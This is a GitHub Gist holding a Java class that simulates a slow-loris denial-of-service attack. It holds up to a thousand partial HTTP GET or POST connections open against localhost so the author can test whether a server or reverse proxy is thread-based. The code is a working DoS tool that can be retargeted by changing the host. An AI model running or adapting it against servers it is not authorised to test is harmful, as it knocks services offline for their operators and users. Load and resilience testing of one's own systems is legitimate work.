Created
March 25, 2022 08:10
-
-
Save luvarqpp/ca66c4d3a2d743cd61c734901550ff4b to your computer and use it in GitHub Desktop.
Java class which simulates slow loris DoS attack on http server.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import lombok.extern.slf4j.Slf4j; | |
import java.io.IOException; | |
import java.io.PrintWriter; | |
import java.net.InetAddress; | |
import java.net.Socket; | |
/** | |
* Class to empirically test if our server (or whole path including reverse proxy) is thread based or event based. | |
* Mostly copy/paste from https://stackoverflow.com/a/17558146/11152683 | |
*/ | |
@Slf4j | |
public class SlowLorisTester { | |
public static void main(String[] args) throws InterruptedException, IOException { | |
SlowLorisTester tester = new SlowLorisTester(); | |
new Thread(() -> { | |
try { | |
tester.test(MethodType.GET); | |
} catch (InterruptedException e) { | |
e.printStackTrace(); | |
} | |
} | |
).start(); | |
System.out.println("Enter something to stop."); | |
System.in.read(); | |
System.out.println("going to stop endless loop."); | |
tester.stopWorking = true; | |
} | |
enum MethodType { | |
GET, | |
POST; | |
} | |
private volatile boolean stopWorking = false; | |
private final int connsPerThread = 1000; | |
private Socket[] socks = new Socket[connsPerThread]; | |
private final String hpHost = "localhost"; | |
private final int hpPort = 9091; | |
private void test(MethodType dosMethod) throws InterruptedException { | |
long newConnectionsTillNow = 0; | |
switch (dosMethod) { | |
case GET: | |
while (!stopWorking) { | |
int newConnections = 0; | |
for (int i = 0; i < connsPerThread; i++) { | |
if (socks[i] != null && socks[i].isConnected()) { | |
try { | |
PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); | |
pw.println("GET / HTTP/1.1"); | |
pw.println("Host: " + hpHost); | |
pw.println(); | |
pw.flush(); | |
} catch (Exception e) { | |
log.warn("Error printing...", e); | |
} | |
} else { | |
try { | |
socks[i] = new Socket(InetAddress.getByName(hpHost), hpPort); | |
newConnections++; | |
System.out.print("."); | |
Thread.sleep(1); | |
} catch (IOException e) { | |
log.warn("Error creating socket...", e); | |
} | |
} | |
} | |
if (newConnections > 0) { | |
System.out.println(); | |
} | |
newConnectionsTillNow += newConnections; | |
log.info("Going to sleep to other round. newConnections=" + newConnections + "\t newConnectionsTillNow=" + newConnectionsTillNow); | |
Thread.sleep(678); | |
} | |
break; | |
case POST: | |
for (int i = 0; i < connsPerThread; i++) { | |
try { | |
socks[i].close(); | |
} catch (IOException e) { | |
log.warn("Error closing...", e); | |
} | |
} | |
while (!stopWorking) { | |
for (int i = 0; i < connsPerThread; i++) { | |
if (socks[i].isConnected()) { | |
try { | |
PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); | |
pw.println(); | |
} catch (IOException e) { | |
log.warn("Error printing...", e); | |
} | |
} else { | |
try { | |
socks[i] = new Socket(InetAddress.getByName(hpHost), hpPort); | |
PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); | |
pw.println("POST / HTTP/1.1"); | |
pw.println("User-Agent: %s"); | |
pw.println("Connection: keep-alive"); | |
pw.println("Keep-Alive: 900"); | |
pw.println("Content-Length: 10000"); | |
pw.println("Content-Type: application/x-www-form-urlencoded"); | |
pw.println(); | |
pw.flush(); | |
} catch (IOException e) { | |
log.warn("Error printing...", e); | |
} | |
} | |
} | |
log.info("Going to sleep to other round."); | |
Thread.sleep(678); | |
} | |
break; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment